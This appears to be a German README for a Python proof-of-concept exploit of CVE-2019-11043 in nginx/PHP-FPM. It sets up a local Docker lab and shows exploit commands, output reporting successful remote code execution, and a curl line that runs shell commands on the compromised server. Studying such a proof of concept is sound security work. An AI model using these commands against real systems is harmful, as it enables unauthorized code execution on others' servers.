
(PoC) Python-Version des CVE-2019-11043-Exploits von neex
Eine Python-Version des CVE-2019-11043-Exploits https://github.com/neex/phuip-fpizdam
Dieses PoC ist noch ein Entwurf, bitte verwenden Sie den Exploit von @neex
Schwachstellenanalyse: https://paper.seebug.org/1064/
Führen Sie einfach docker compose aus, um nginx und php-fpm zu starten:
# docker-compose up -d
Creating network "cve-2019-11043-git_app_net" with driver "bridge"
Creating php ... done
Creating nginx ... done
Wenn Sie die php-fpm-Protokolle lesen möchten, können Sie Folgendes ausführen:
docker logs --tail 10 --follow php
# python3 exploit.py --url http://localhost/index.php
[*] QSL candidate: 1752, 1757, 1762
[*] Target seems vulnerable: PHPSESSID=05b156ea034b903de6624f09c513541c; path=/
[*] RCE successfully exploited!
You should be able to run commands using:
curl http://localhost/index.php?a=bin/ls+/
Wenn Sie nur die Schwachstelle überprüfen möchten, ohne den Exploit auszuführen:
python3 exploit.py --url http://localhost/index.php --skip-rce
#...
python3 exploit.py --url http://localhost/index.php --reset
Sie können versuchen, den php-fpm-Prozess zu beenden und alle injizierten PHP-Einstellungen mit --reset zurückzusetzen:
python3 exploit.py --url http://localhost/index.php --reset
https://twitter.com/Menin_TheMiddle/status/1188776386569355265